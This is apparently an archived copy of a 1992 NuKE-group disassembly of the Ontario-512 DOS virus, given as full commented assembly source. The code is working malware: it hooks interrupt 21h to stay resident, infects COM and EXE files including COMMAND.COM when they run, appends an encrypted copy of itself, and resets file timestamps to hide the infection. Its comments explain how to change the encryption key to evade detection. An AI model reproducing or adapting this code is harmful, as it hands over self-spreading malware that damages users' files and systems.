home *** CD-ROM | disk | FTP | other *** search
- ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
- ;-* Ontario-512 Virus *-
- ;*- ~~~~~~~~~~~~~~~~~~~ -*
- ;-* Disassmembly by: Rock Steady/NuKE *-
- ;*- ~~~~~~~~~~~~~~~~ -*
- ;-* Notes: Resident EXE and COM infector, will infect COMMAND.COM *-
- ;*- ~~~~~~ on execution. 512 bytes file increase, memory decrease -*
- ;-* of about 2,048 bytes. Anti-debugging, encrypted virus. *-
- ;*- -*
- ;-* (c) Copy-Ya-Rite [NuKE] Viral Development Labs '92 *-
- ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
- virus segment byte public
- assume cs:virus, ds:virus
-
- org 100h ;Guess its a COM File huh?
- ont proc far
-
- start:
- jmp go4it ;Jump to beginning of the
- db 1Dh ;Virus And start!
- db 'fected [NuKE]''92', 0Dh, 0Ah, '$'
- mov dx,0102h ;This is the small File the Virus
- mov ah,09h ;is infected to! As you see it only
- int 21h ;displays that messages and exits
- int 20h ;Exit Command for COMs
- go4it:
- nop
- call decrypt ;Get Decryption value & Decrypt viri
- call virus_start ;Start the Virus!
- ont endp
-
- ;---------------------------------------------------------------------;
- ; The Start of the Virus Code ;
- ;---------------------------------------------------------------------;
-
- virus_start proc near
- pop bp
- sub bp,7
- mov ax,0FFFFh ;Is Virus in Memory hooked on?
- int 21h ;the Int 21h?
- or ah,ah ;
- jz bye_bye ;Yes it is... Quit then...
- push ds
- xor ax,ax
- mov ds,ax
- sub word ptr ds:413h,2
- lds bx,dword ptr ds:84h
- mov word ptr cs:[200h][bp],bx
- mov word ptr cs:[202h][bp],ds
- mov bx,es
- dec bx
- mov ds,bx
- sub word ptr ds:3,80h
- mov ax,ds:12h
- sub ax,80h
- mov ds:12h,ax
- mov es,ax
- push cs
- pop ds
- mov si,bp
- xor di,di
- mov cx,204h
- cld
- rep movsb
- mov ds,cx
- cli ;This is where we hook the
- mov word ptr ds:84h,7Fh ;virus to the Int21h
- mov word ptr ds:84h+2,ax
- sti
- mov ax,4BFFh
- int 21h
- pop ds
- push ds
- pop es
- bye_bye:
- or bp,bp
- jz what
- lea si,[bp+7Bh]
- nop
- mov di,offset ds:[100h]
- push di
- cld
- movsw
- movsw
- retn
- what:
- mov ax,es
- add cs:7dh,ax
- ;* jmp far ptr go4it7
- virus_start endp
- db 0EAh,0EBh, 15h, 49h, 6Eh
- cmp ax,0FFFFh
- jne new_21h
- inc ax
- iret
- ;---------------------------------------------------------------------;
- ; Interrupt 21h handler ;
- ;---------------------------------------------------------------------;
- new_21h:
- cmp ah,4Bh ;Test, is File beginning Executed!
- jne leave_ok ;Nope! Call Int21!
- cmp al,3 ;Overlay, beginning execute?
- je leave_ok ;Yes! Leave it alone
- cmp al,0FFh ;Virus testing to see if its alive?
- jne do_it_man ;in memory?
- push cs
- pop ds
- mov dx,1DDh
- call infect
- iret
- do_it_man:
- call infect ;Infect file dude...
- leave_ok:
- jmp dword ptr cs:[200h] ;Int21 handler..
-
- ;---------------------------------------------------------------------;
- ; Infection Routine for the Ontario Virus ;
- ;---------------------------------------------------------------------;
-
- infect proc near
- push es
- push ds ;Save them not to fuck things up..
- push dx
- push cx
- push bx
- push ax
- mov ax,4300h ;Here we get the file attribute
- call int21 ;for file to be infected.
- jc outta ;Bitch Error encountered. Quit!
- test cl,1 ;Test if its Read-Only!
- jz attrib_ok ;Ok, it ain't Read-Only Continue!
- and cl,0FEh ;Set Read-Only to normal Attribs
- mov ax,4301h ;Call Ints to do it...
- call int21 ;Bingo! Done!
- jc outta ;Error encountered? Split if yes!
- attrib_ok:
- mov ax,3D02h ;Open file for Read/Write
- call int21 ;Call Interrupt to do it!
- jnc open_ok ;no errors? Continue!
- outta:
- jmp go4it5 ;Hey, Split Man... Errors happened!
- open_ok:
- mov bx,ax ;BX=File Handle
- push cs
- pop ds
- mov ax,5700h ;Get File's Date & Time
- call int21 ;Do it!
- mov word ptr ds:[204h],cx ;Save Time
- mov word ptr ds:[206h],dx ;Save Date
- mov dx,208h ;DX=Pointer
- mov cx,1Bh ;CX=Number of Btyes
- mov ah,3Fh ;Read From File
- call int21 ;Do It!
- jc go4it1 ;Errors? Quit if yes!
- cmp word ptr ds:[208h],5A4Dh ;Check if files already
- je go4it0 ;infected.
- mov al,byte ptr ds:[209h] ;Com , Exes...
- cmp al,byte ptr ds:[20Bh]
- je go4it1
- xor dx,dx
- xor cx,cx
- mov ax,4202h
- call int21 ;Move File pointer to end of
- jc go4it1 ;file to be infected.
- cmp ax,0E000h ;File bigger than E000 bytes?
- ja go4it1 ;Error...
- push ax ;Save File Length
- mov ax,word ptr ds:[208h]
- mov ds:7bh,ax
- mov ax,word ptr ds:[20Ah]
- mov ds:7dh,ax
- pop ax ;All this is, is a complex
- sub ax,3 ;way to do "JMP"
- mov byte ptr ds:[208h],0E9h ;
- mov word ptr ds:[209h],ax
- mov byte ptr ds:[20Bh],al
- jmp short go4it3 ;File READY Infect it!
- db 90h ;NOP me... detection string?
- go4it0:
- cmp word ptr ds:[21Ch],1
- jne go4it2
- go4it1:
- jmp go4it4
- go4it2:
- mov ax,word ptr ds:[20Ch]
- mov cx,200h
- mul cx
- push ax
- push dx
- mov cl,4
- ror dx,cl
- shr ax,cl
- add ax,dx
- sub ax,word ptr ds:[210h]
- push ax
- mov ax,word ptr ds:[21Ch]
- mov ds:7bh,ax
- mov ax,word ptr ds:[21Eh]
- add ax,10h
- mov ds:7dh,ax
- pop ax ; This is continues with the
- mov word ptr ds:[21Eh],ax ; above to put a JMP at the
- mov word ptr ds:[21Ch],1 ; beginning of the file!
- inc word ptr ds:[20Ch] ;
- pop cx ;
- pop dx ;
- mov ax,4200h ;
- call int21
- jc go4it4
- go4it3:
- xor byte ptr ds:[1F8h],8 ;
- xor ax,ax ; Theses Lines copy the
- mov ds,ax ; virus code else where
- mov al,ds:46Ch ; in memory to get it
- push cs ; ready to infect the file
- pop ds ; as we must encrypt it
- push cs ; FIRST when we infect the
- pop es ; file. so we'll encrypt
- mov byte ptr ds:[1ECh],al ; this copy we're making!
- xor si,si ; and append that to the
- mov di,offset ds:[224h] ; end of the file
- push di ;
- mov cx,200h ;
- cld ;
- rep movsb
- mov si,offset ds:[228h] ;Now Encrpyt that copy of the
- call encrypt_decrypt ;virus we just made...
- pop dx
- mov cx,200h ;Write Virus to file!
- mov ah,40h ;BX=Handle, CX=Bytes
- call int21 ;DX=pointer to write buffer
- jc go4it4 ;Duh? Check for errors!
- xor cx,cx
- xor dx,dx ;Now move pointer to beginning
- mov ax,4200h ;of file.
- call int21
- jc go4it4 ;Duh? Check for errors!
- mov dx,208h ;Write to file!
- mov cx,1Bh ;CX=Bytes
- mov ah,40h ;DX=pointes to buffer
- call int21 ;Bah, HumBug
- go4it4:
- mov dx,word ptr ds:[206h] ;Leave no tracks...
- mov cx,word ptr ds:[204h] ; puts back File TIME
- mov ax,5701h ; and DATE! on file...
- call int21 ;
- mov ah,3Eh ;
- call int21 ;Bah, HumBug...
- go4it5:
- pop ax ;Get lost...
- pop bx
- pop cx
- pop dx
- pop ds
- pop es
- retn
- infect endp
-
- ;----------------------------------------------------------------------;
- ; The Original Interrupt 21h handler ;
- ;----------------------------------------------------------------------;
-
- int21 proc near
- pushf ;Fake an Int Call...
-
- call dword ptr cs:[200h] ;Orignal Int21h Handler
- retn
- int21 endp
-
- db 'C:\COMMAND.COM'
- db 00h, 84h
-
- ;---------------------------------------------------------------------;
- ; The Simple, But VERY Effective Encryption Routine ;
- ;---------------------------------------------------------------------;
-
- decrypt proc near
- pop si
- push si
- mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE!
- encrypt_decrypt: ;and Virus will be UNDETECTABLE
- mov cx,1E8h ; LENGTH OF VIRII! Change this!
- loop_me: not al ; if you modief the virus!
- xor cs:[si],al ;
- inc si ;
- loop loop_me ;
- ;
- retn
- decrypt endp
-
-
- virus ends
- end start
-
- ;------------------------------------------------------------------------
-
-